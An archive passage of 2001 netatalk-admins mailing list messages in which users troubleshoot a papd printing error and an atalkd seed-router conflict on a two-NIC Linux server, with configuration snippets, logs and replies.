Content-transfer-encoding: 7bit

Hi,

I know this problem has been discussed before on netatalk-admins but having
tried every suggestion I'm still getting the follow message in my log when I
try and print from an iMac (running OS9.1) to a HP Laserjet 1200 installed
as a local printer on the linux server (running redhat 7.1 and
netatalk-1.5pre6-1rh7):

papd[27358]: child 27371 for "HPLJ1200" from 65338.250
papd[27371]: lp_init: lock: No such file or directory
papd[27371]: lp_open failed
papd[27358]: child 27371 done

The iMac simply returns a "Postscript error" message.

My papd.conf is as follows:

HPLJ1200:\
:pr=|/usr/bin/lpr -Plp:\
        :op=root:pd=/etc/atalk/HP1200PS.PPD:

and /etc/printcap is:

lp:\
        :sh:\
        :ml=0:\
        :mx=0:\
        :sd=/var/spool/lpd/lp:\
        :lp=/dev/lp0:\
        :lpd_bounce=true:\
        :if=/usr/share/printconf/mf_wrapper:

Any suggestions for what could be the source of the problem?

Apologies if I'm missing something obvious.

-Matt Lynch


From netatalk.administrators-errors@umich.edu  Thu Jul 19 16:09:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA17639
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 16:09:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA00138
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 16:09:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA00128
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 16:09:47 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA00038
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 16:09:42 -0400 (EDT)
Received: from ns07-n66-086.de.inter.net ([213.73.66.86] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15NK71-0002X3-00
	for netatalk-admins@umich.edu; Thu, 19 Jul 2001 22:09:32 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id WAA10194
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 22:08:43 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: printing problems: 'lp_open failed' error
Date: Thu, 19 Jul 2001 21:53:39 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <B77CD194.2AC%matt@firmmagazine.com>
In-Reply-To: <B77CD194.2AC%matt@firmmagazine.com>
MIME-Version: 1.0
Message-Id: <01071922084300.08193@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA17639

On Thu, 19 Jul 2001, Matt Lynch wrote:
> Hi,
> 
> I know this problem has been discussed before on netatalk-admins but having
> tried every suggestion I'm still getting the follow message in my log when I
> try and print from an iMac (running OS9.1) to a HP Laserjet 1200 installed
> as a local printer on the linux server (running redhat 7.1 and
> netatalk-1.5pre6-1rh7):
> 
> papd[27358]: child 27371 for "HPLJ1200" from 65338.250
> papd[27371]: lp_init: lock: No such file or directory
> papd[27371]: lp_open failed
> papd[27358]: child 27371 done
> 
> The iMac simply returns a "Postscript error" message.
> 
> My papd.conf is as follows:
> 
> HPLJ1200:\
> :pr=|/usr/bin/lpr -Plp:\
>         :op=root:pd=/etc/atalk/HP1200PS.PPD:
> 
> and /etc/printcap is:
> 
> lp:\
>         :sh:\
>         :ml=0:\
>         :mx=0:\
>         :sd=/var/spool/lpd/lp:\
>         :lp=/dev/lp0:\
>         :lpd_bounce=true:\
>         :if=/usr/share/printconf/mf_wrapper:
> 
> Any suggestions for what could be the source of the problem?
> 
> Apologies if I'm missing something obvious.
> 
> -Matt Lynch

Can you print locally from your linux server via `lpr'?

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Jul 19 18:34:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA21460
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Jul 2001 18:34:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA17356
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Jul 2001 18:34:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA17342
	for netatalk.administrators-members@umich.edu; Thu, 19 Jul 2001 18:34:09 -0400 (EDT)
Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA17299
	for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 18:34:08 -0400 (EDT)
Received: from localhost ([213.104.127.90]) by mta06-svc.ntlworld.com
          (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP
          id <20010719223419.MELL295.mta06-svc.ntlworld.com@localhost>
          for <netatalk-admins@umich.edu>; Thu, 19 Jul 2001 23:34:19 +0100
Date: Thu, 19 Jul 2001 23:31:19 +0100
Content-Type: multipart/alternative;
	boundary=Apple-Mail-1642574628-1
X-Mailer: Apple Mail (2.388)
From: Matthew Lynch <matt@twotrack.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v388)
In-Reply-To: <01071922084300.08193@athlet>
Subject: Re: printing problems: 'lp_open failed' error
Message-Id: <20010719223419.MELL295.mta06-svc.ntlworld.com@localhost>


--Apple-Mail-1642574628-1
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii


On Thursday, July 19, 2001, at 08:53 PM, Carsten Neumann wrote:

> On Thu, 19 Jul 2001, Matt Lynch wrote:
>> Hi,
>>
>> I know this problem has been discussed before on netatalk-admins but 
>> having
>> tried every suggestion I'm still getting the following message in my 
>> log when I
>> try and print from an iMac (running OS9.1) to a HP Laserjet 1200 
>> installed
>> as a local printer on the linux server (running redhat 7.1 and
>> netatalk-1.5pre6-1rh7):
>>
>> papd[27358]: child 27371 for "HPLJ1200" from 65338.250
>> papd[27371]: lp_init: lock: No such file or directory
>> papd[27371]: lp_open failed
>> papd[27358]: child 27371 done
>>
>> The iMac simply returns a "Postscript error" message.
>>
>> My papd.conf is as follows:
>>
>> HPLJ1200:\
>> :pr=|/usr/bin/lpr -Plp:\
>>         :op=root:pd=/etc/atalk/HP1200PS.PPD:
>>
>> and /etc/printcap is:
>>
>> lp:\
>>         :sh:\
>>         :ml=0:\
>>         :mx=0:\
>>         :sd=/var/spool/lpd/lp:\
>>         :lp=/dev/lp0:\
>>         :lpd_bounce=true:\
>>         :if=/usr/share/printconf/mf_wrapper:
>>
>> Any suggestions for what could be the source of the problem?
>>
>> Apologies if I'm missing something obvious.
>>
>> -Matt Lynch
>
> Can you print locally from your linux server via `lpr'?
> Kind regards
> 	Carsten
Yes, (un)fortunately I can. Is there anything else that could be the 
problem? When I tried printing direct (i.e. with 'pr=lp' in papd.conf) 
the same error occurred.
-Matt


--Apple-Mail-1642574628-1
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
	charset=us-ascii


On Thursday, July 19, 2001, at 08:53 PM, Carsten Neumann wrote:


<excerpt>On Thu, 19 Jul 2001, Matt Lynch wrote:

<excerpt>Hi,


I know this problem has been discussed before on netatalk-admins but
having

tried every suggestion I'm still getting the following message in my
log when I

try and print from an iMac (running OS9.1) to a HP Laserjet 1200
installed

as a local printer on the linux server (running redhat 7.1 and

netatalk-1.5pre6-1rh7):


papd[27358]: child 27371 for "HPLJ1200" from 65338.250

papd[27371]: lp_init: lock: No such file or directory

papd[27371]: lp_open failed

papd[27358]: child 27371 done


The iMac simply returns a "Postscript error" message.


My papd.conf is as follows:


HPLJ1200:\

:pr=|/usr/bin/lpr -Plp:\

        :op=root:pd=/etc/atalk/HP1200PS.PPD:


and /etc/printcap is:


lp:\

        :sh:\

        :ml=0:\

        :mx=0:\

        :sd=/var/spool/lpd/lp:\

        :lp=/dev/lp0:\

        :lpd_bounce=true:\

        :if=/usr/share/printconf/mf_wrapper:


Any suggestions for what could be the source of the problem?


Apologies if I'm missing something obvious.


-Matt Lynch

</excerpt>

Can you print locally from your linux server via `lpr'?

Kind regards

	Carsten

</excerpt>Yes, (un)fortunately I can. Is there anything else that
could be the problem? When I tried printing direct (i.e. with 'pr=lp'
in papd.conf) the same error occurred.

-Matt

<color><param>0000,0000,DEDE</param>

</color>
--Apple-Mail-1642574628-1--

From netatalk.administrators-errors@umich.edu  Fri Jul 20 05:03:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA05665
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 05:03:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA16306
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 05:03:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA16290
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 05:03:09 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA16216
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 05:03:07 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id MAA25479;
	Fri, 20 Jul 2001 12:03:09 +0300 (EET DST)
Date: Fri, 20 Jul 2001 12:03:09 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
In-Reply-To: <B77CB275.EB01%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.OSF.4.21.0107201157250.19639-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id FAA05665

On Thu, 19 Jul 2001, Thomas Kaiser wrote:

> If you want to use both NICs für AppleTalk you must configure them (netatalk
> will be an appletalk router afterwards)
> 
> I would recommend the following:
> 
> eth0 -seed -phase 2 -net 1-1000 -addr 1000.142 -zone "eth0"
> eth1 -seed -phase 2 -net 1001-2000 -addr 2000.142 -zone "eth1"

I tried and I got following errors:

Jul 20 14:49:32 pc1-1633 atalkd[12091]: restart (1.5pre6)
Jul 20 14:49:33 pc1-1633 atalkd[12091]: zip_getnetinfo for eth0
Jul 20 14:49:52 pc1-1633 last message repeated 2 times
Jul 20 14:50:02 pc1-1633 atalkd[12091]: as_timer configured eth0 phase 2 
from seed
Jul 20 14:50:03 pc1-1633 atalkd[12091]: zip_getnetinfo for eth1
Jul 20 14:50:03 pc1-1633 last message repeated 2 times
Jul 20 14:50:03 pc1-1633 atalkd[12091]: rtmp_packet interface mismatch
Jul 20 14:50:03 pc1-1633 atalkd[12091]: default zone mismatch on eth1
Jul 20 14:50:03 pc1-1633 atalkd[12091]: eth1 != eth0
Jul 20 14:50:03 pc1-1633 atalkd[12091]: Seed error! Exiting!
Jul 20 14:50:03 pc1-1633 atalkd[12091]: ap->ap_packet: Success
Jul 20 14:50:03 pc1-1633 atalkd: AppleTalk not up! Check your syslog for
the reason. Child exited with 1.
Jul 20 14:50:03 pc1-1633 atalk: atalkd startup failed
Jul 20 14:50:03 pc1-1633 afpd[12101]: main: atp_open: Cannot assign
requested address
Jul 20 14:50:03 pc1-1633 atalk: afpd startup succeeded
Jul 20 14:50:03 pc1-1633 afpd[12101]: ASIP started on
212.246.246.194:548(0) (1.5pre6)
Jul 20 14:50:03 pc1-1633 afpd[12101]: uam: uams_randnum.so loaded
Jul 20 14:50:03 pc1-1633 afpd[12101]: uam: "2-Way Randnum
exchange" available
Jul 20 14:50:03 pc1-1633 afpd[12101]: uam: "Randnum exchange" available

Once I got the boths zones working, but after a couple of restarts it
stopped once again. During that, the transfer speeds we're still the same.
I also checked the atalkd.conf and noticed that it had been altered. Does
netatalk configure it automatically?


From netatalk.administrators-errors@umich.edu  Fri Jul 20 05:15:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA05995
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 05:15:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA00516
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 05:15:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA00503
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 05:15:05 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA00422
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 05:15:02 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id MAA28352;
	Fri, 20 Jul 2001 12:14:49 +0300 (EET DST)
Date: Fri, 20 Jul 2001 12:14:49 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
cc: Thomas Kaiser <Thomas.Kaiser@phg-online.de>, netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
In-Reply-To: <Pine.OSF.4.21.0107201157250.19639-100000@Platon.sgic.fi>
Message-ID: <Pine.OSF.4.21.0107201211070.31590-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Things are clearing up. I isolated the server from the network, and
restarted netatalk. I connected the server to an old mac with a twisted
pair cable. Both zones are appearing correctly and file transfer speeds
are screaming fast. I'll try connecting other machines one by one and try
to see what happens.


From netatalk.administrators-errors@umich.edu  Fri Jul 20 05:22:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA06120
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 05:22:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA12350
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 05:22:49 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA12337
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 05:22:49 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA12297
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 05:22:48 -0400 (EDT)
Received: from london.chem.gla.ac.uk ([130.209.221.166] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 15NWUd-0001P5-00; Fri, 20 Jul 2001 10:22:43 +0100
Received: from localhost (jonp@localhost)
	by london.chem.gla.ac.uk (8.9.1b+Sun/8.9.1) with ESMTP id KAA14399;
	Fri, 20 Jul 2001 10:22:09 +0100 (BST)
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Fri, 20 Jul 2001 10:22:09 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: Lasse Lehtinen <blob@sgic.fi>
cc: Thomas Kaiser <Thomas.Kaiser@phg-online.de>, <netatalk-admins@umich.edu>
Subject: Re: Poor netatalk performance
In-Reply-To: <Pine.OSF.4.21.0107201157250.19639-100000@Platon.sgic.fi>
Message-ID: <Pine.SOL.4.33.0107201020460.14397-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id FAA06120


That syslog message looks like you might have the two ethernet cards on
the same physical network. Is that the case? Are they plugged into the
same hub/switch? If so, it's not going to work... [I think]

On Fri, 20 Jul 2001, Lasse Lehtinen wrote:

> On Thu, 19 Jul 2001, Thomas Kaiser wrote:
>
> > If you want to use both NICs für AppleTalk you must configure them (netatalk
> > will be an appletalk router afterwards)
> >
> > I would recommend the following:
> >
> > eth0 -seed -phase 2 -net 1-1000 -addr 1000.142 -zone "eth0"
> > eth1 -seed -phase 2 -net 1001-2000 -addr 2000.142 -zone "eth1"
>
> I tried and I got following errors:
>
> Jul 20 14:49:32 pc1-1633 atalkd[12091]: restart (1.5pre6)
> Jul 20 14:49:33 pc1-1633 atalkd[12091]: zip_getnetinfo for eth0
> Jul 20 14:49:52 pc1-1633 last message repeated 2 times
> Jul 20 14:50:02 pc1-1633 atalkd[12091]: as_timer configured eth0 phase 2
> from seed
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: zip_getnetinfo for eth1
> Jul 20 14:50:03 pc1-1633 last message repeated 2 times
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: rtmp_packet interface mismatch
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: default zone mismatch on eth1
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: eth1 != eth0
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: Seed error! Exiting!
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: ap->ap_packet: Success
> Jul 20 14:50:03 pc1-1633 atalkd: AppleTalk not up! Check your syslog for
> the reason. Child exited with 1.
> Jul 20 14:50:03 pc1-1633 atalk: atalkd startup failed
> Jul 20 14:50:03 pc1-1633 afpd[12101]: main: atp_open: Cannot assign
> requested address
> Jul 20 14:50:03 pc1-1633 atalk: afpd startup succeeded
> Jul 20 14:50:03 pc1-1633 afpd[12101]: ASIP started on
> 212.246.246.194:548(0) (1.5pre6)
> Jul 20 14:50:03 pc1-1633 afpd[12101]: uam: uams_randnum.so loaded
> Jul 20 14:50:03 pc1-1633 afpd[12101]: uam: "2-Way Randnum
> exchange" available
> Jul 20 14:50:03 pc1-1633 afpd[12101]: uam: "Randnum exchange" available
>
> Once I got the boths zones working, but after a couple of restarts it
> stopped once again. During that, the transfer speeds we're still the same.
> I also checked the atalkd.conf and noticed that it had been altered. Does
> netatalk configure it automatically?
>
>

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Fri Jul 20 05:23:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA06143
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 05:23:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA13270
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 05:23:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA13257
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 05:23:24 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA13170
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 05:23:21 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA07887;
	Fri, 20 Jul 2001 11:37:37 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 20 Jul 2001 11:24:07 +0200
Subject: Re: Poor netatalk performance
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>, Lasse Lehtinen <blob@sgic.fi>
CC: <netatalk-admins@umich.edu>
Message-ID: <B77DC554.EB85%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.OSF.4.21.0107201157250.19639-100000@Platon.sgic.fi>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Lasse,

you have a funny LAN-Setup. Both NICs are connected via the _same_
Switch/Hub, it seems?

But that's fatal in this setup. If you want to route between the two NICs,
they have to be connected to _different_ network segments!

> Jul 20 14:50:02 pc1-1633 atalkd[12091]: as_timer configured eth0 phase 2
> from seed

Okay. atalkd configured eth0 with network range 1-1000 and published the
zone name "eth0"

> Jul 20 14:50:03 pc1-1633 atalkd[12091]: zip_getnetinfo for eth1
> Jul 20 14:50:03 pc1-1633 last message repeated 2 times
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: rtmp_packet interface mismatch
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: default zone mismatch on eth1
> Jul 20 14:50:03 pc1-1633 atalkd[12091]: eth1 != eth0

This means, atalkd tried to activate eth1. Netatalk is very polite (not like
NTs or Novells AppleTalk implementations) and looks whether other seed
routers in this segment disagree to its aims to publish the network range
1001-2000 and zone name "eth1".

Atalkd recognizes that there is already an AppleTalk seed router present in
this network segment, therefore ...

> Jul 20 14:50:03 pc1-1633 atalkd[12091]: Seed error! Exiting!

... Netatalk gives up.

> Once I got the boths zones working, but after a couple of restarts it
> stopped once again.

Both NICs must be connected to different segments as I said before.

> During that, the transfer speeds we're still the same.

Do you connect to your netatalk shares via tcp oder AppleTalk? Look into the
Finders Info-window of a Netatalk Share. Normally if your afpd.conf is setup
correctly AppleShare Clients 3.7 or later try to switch from AppleTalk to
TCP if you connect to a Netatalk-Server which supports TCP. Maybe you want
to post your afpd.conf also?

> I also checked the atalkd.conf and noticed that it had been altered. Does
> netatalk configure it automatically?

If you don't supply the '-seed" switch, netatalk will "learn" the networks
configuration on the cable it is connected to (eg. non-routed network -->
addresses within the AppleTalk startup range 65280-65534). You can even let
Netatalk act like an AppleTalk router without supplying seed-router
information. In the case that on every connected network there will be an
AppleTalk-Seed-Router with a correct configuration, Netatalk will learn from
the seed-routers and act as _they_ want.

Well, in your case I would disconnect one of the 2 NICs from network and
would try it again (restarting atalk) using the same atalkd.conf as posted
yesterday. I had some situations where AppleTalk won't startup (problems
with multicast) unless I forced the Netatalk to be a router.

Maybe your poor performance is a result of AppleTalk-Trouble with your
3Coms? Normally the 3Coms are known to support Multicast which is necessary
for AppleTalk ('/usr/doc/Documentation/networking/multicast.txt'). Is your
driver something special?

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jul 20 06:25:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA06767
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 06:25:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id GAA12740
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 06:25:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA12734
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 06:25:53 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA12694
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 06:25:52 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id MAA08262;
	Fri, 20 Jul 2001 12:35:07 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 20 Jul 2001 12:21:38 +0200
Subject: Re: Poor netatalk performance
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>, Lasse Lehtinen <blob@sgic.fi>
CC: <netatalk-admins@umich.edu>
Message-ID: <B77DD2D1.EBA3%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.OSF.4.21.0107201254510.863-100000@Platon.sgic.fi>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Lasse,

>> But that's fatal in this setup. If you want to route between the two NICs,
>> they have to be connected to _different_ network segments!

"different" means also: eth0 connected to your network, eth1 connected to
nothing or a network with private ip adresses (might be the simplest
solution ;-)
 
> I could separate them, but the mac's would still have to access TCP/IP to
> the outside world.

You have to take care that the linux box acts similar when routing tcp/ip
_and_ appletalk.

So if you divide your network into two segments, then you will also have to
route tcp/ip between them.

> Could I route the packets from eth1 (Mac-network) to the actual gateway that
> is connected to eth0?

Of course. Is the "actual gateway" the only device on eth0?

> I'm not an experienced sysadmin, therefore I would appreciate detailed
> instructions. We have public ip-addresses, so there's no need for NAT, just
> routing the packets.

Upps. Where is the firewall?

Are we talking about all these addresses: 213.173.130.0 - 213.173.131.255?

If so, you can divide this internally into two subnets:

213.173.130.0/24 and 213.173.131.0/24, which means you have to setup your
linux box that one interface uses an address from the 213.173.130 range and
the other from the 213.173.131 range. The default route should be the
address of to "actual gateway" and that's it.

Afterwards you have to take care that the Macs in every subnet have ip
addresses from within the right address range (think about setting up dhcpd
on the linux-box). AppleTalk-configuration is easy, because all you have to
do is to use the right atalkd.conf. The Macs will then autoconfigure
themselves with the right addresses.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jul 20 06:59:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA07390
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 06:59:45 -0400 (EDT)
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25] (may be forged))
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id GAA23040
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 06:01:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA07789
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 05:58:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA07769
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 05:58:29 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA07688
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 05:58:26 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id MAA22803;
	Fri, 20 Jul 2001 12:58:21 +0300 (EET DST)
Date: Fri, 20 Jul 2001 12:58:21 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
In-Reply-To: <B77DC554.EB85%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.OSF.4.21.0107201254510.863-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 20 Jul 2001, Thomas Kaiser wrote:

> Hi Lasse,
> 
> you have a funny LAN-Setup. Both NICs are connected via the _same_
> Switch/Hub, it seems?
> 
